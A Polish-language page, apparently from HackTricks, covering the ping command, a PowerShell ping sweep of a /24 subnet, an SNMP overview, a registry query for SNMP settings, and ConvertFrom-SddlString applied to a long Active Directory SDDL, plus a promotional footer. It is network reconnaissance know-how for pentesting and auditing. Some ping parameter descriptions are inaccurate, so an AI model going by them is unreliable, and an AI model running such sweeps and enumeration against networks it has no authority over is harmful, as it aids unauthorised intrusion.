Ping jest narzędziem wiersza poleceń, które służy do sprawdzania dostępności hosta w sieci. Wysyła ono pakiet ICMP Echo Request do określonego hosta i oczekuje na odpowiedź ICMP Echo Reply. Ping jest często używany do diagnozowania problemów z siecią, sprawdzania opóźnień i określania, czy dany host jest dostępny.
Składnia
ping [-t] [-a] [-n licznik] [-l rozmiar] [-f] [-i TTL] [-v TOS] [-r licznik] [-s źródło] [-w czas] [-R] [-S] [adres]
Parametry
-t
- Pinguje określony host w nieskończoność, aż zostanie przerwany przez użytkownika.-a
- Wyświetla nazwę hosta dla podanego adresu IP.-n licznik
- Określa liczbę pakietów do wysłania.-l rozmiar
- Określa rozmiar pakietu w bajtach.-f
- Ustawia flagę Don't Fragment w pakietach ICMP Echo Request.-i TTL
- Określa wartość pola Time to Live (TTL) w pakietach ICMP Echo Request.-v TOS
- Określa wartość pola Type of Service (TOS) w pakietach ICMP Echo Request.-r licznik
- Określa liczbę skoków (routerów), które pakiet może wykonać.-s źródło
- Określa adres źródłowy pakietów ICMP Echo Request.-w czas
- Określa czas oczekiwania na odpowiedź w milisekundach.-R
- Włącza rejestrowanie ścieżki pakietów w odpowiedziach ICMP Echo Reply.-S
- Włącza rejestrowanie adresu źródłowego w odpowiedziach ICMP Echo Reply.
Przykłady użycia
ping google.com
ping -n 5 192.168.1.1
ping -t -w 1000 8.8.8.8
Ping jest przydatnym narzędziem do sprawdzania dostępności hostów w sieci. Może być również używany w celach testowych i diagnostycznych.
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP
SNMP (Simple Network Management Protocol) jest protokołem sieciowym używanym do zarządzania i monitorowania urządzeń sieciowych. Pozwala na zdalne monitorowanie i kontrolę urządzeń takich jak routery, przełączniki, serwery itp. Protokół SNMP działa na zasadzie zapytania i odpowiedzi, gdzie zarządzający urządzenie wysyła zapytanie do urządzenia docelowego, a to zwraca odpowiedź zawierającą informacje o swoim stanie i konfiguracji.
Komponenty SNMP
Protokół SNMP składa się z trzech głównych komponentów:
-
Zarządzający (Manager): Jest to urządzenie lub aplikacja odpowiedzialna za monitorowanie i zarządzanie urządzeniami sieciowymi. Zarządzający wysyła zapytania do urządzeń docelowych i odbiera odpowiedzi.
-
Agent: Jest to oprogramowanie lub moduł zainstalowany na urządzeniu docelowym, które odpowiada na zapytania zarządzającego. Agent monitoruje i zbiera informacje o stanie urządzenia i przekazuje je do zarządzającego.
-
MIB (Management Information Base): Jest to baza danych zawierająca informacje o urządzeniach sieciowych, które mogą być monitorowane i zarządzane za pomocą protokołu SNMP. MIB definiuje strukturę danych i dostępne parametry dla urządzeń.
Rodzaje zapytań SNMP
Protokół SNMP obsługuje różne rodzaje zapytań, które mogą być wysyłane przez zarządzającego do agenta. Najważniejsze z nich to:
-
GET: Zarządzający wysyła zapytanie GET do agenta, aby uzyskać wartość określonego parametru.
-
SET: Zarządzający wysyła zapytanie SET do agenta, aby zmienić wartość określonego parametru.
-
GETNEXT: Zarządzający wysyła zapytanie GETNEXT do agenta, aby uzyskać następny parametr w MIB.
-
GETBULK: Zarządzający wysyła zapytanie GETBULK do agenta, aby uzyskać wiele wartości parametrów jednocześnie.
Zabezpieczenia SNMP
Protokół SNMP może być podatny na ataki, dlatego istnieją różne mechanizmy zabezpieczeń, które można zastosować, aby zminimalizować ryzyko. Niektóre z tych mechanizmów to:
-
Community String: Jest to hasło używane do uwierzytelniania zarządzającego i agenta. Należy zadbać o silne hasło i regularnie je zmieniać.
-
Access Control: Można skonfigurować kontrolę dostępu, aby określić, które adresy IP mają uprawnienia do komunikacji z agentem.
-
SNMPv3: Jest to najnowsza wersja protokołu SNMP, która wprowadza silniejsze mechanizmy uwierzytelniania i szyfrowania.
Podsumowanie
SNMP jest protokołem używanym do zarządzania i monitorowania urządzeń sieciowych. Składa się z zarządzającego, agenta i MIB. Protokół obsługuje różne rodzaje zapytań, takie jak GET, SET, GETNEXT i GETBULK. Aby zabezpieczyć SNMP, należy korzystać z silnych haseł, kontrolować dostęp i rozważyć użycie SNMPv3.
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Konwertowanie ciągu SDDL na czytelny format
To convert the SDDL string into a readable format, you can use the ConvertFrom-SddlString
cmdlet in PowerShell. This cmdlet allows you to convert the Security Descriptor Definition Language (SDDL) string into an object that can be easily read and understood.
Here is an example of how to use the ConvertFrom-SddlString
cmdlet:
$sddlString = "O:BAG:BAD:(A;;0x1;;;S-1-5-32-544)(A;;0x1;;;S-1-5-18)"
$securityDescriptor = ConvertFrom-SddlString -Sddl $sddlString
$securityDescriptor
This will output the converted SDDL string in a readable format, showing the various access control entries (ACEs) and their corresponding permissions.
By using this cmdlet, you can quickly analyze and understand the permissions set in the SDDL string, which can be useful for troubleshooting or auditing purposes.
PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Właściciel : BUILTIN\Administrators
Grupa : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>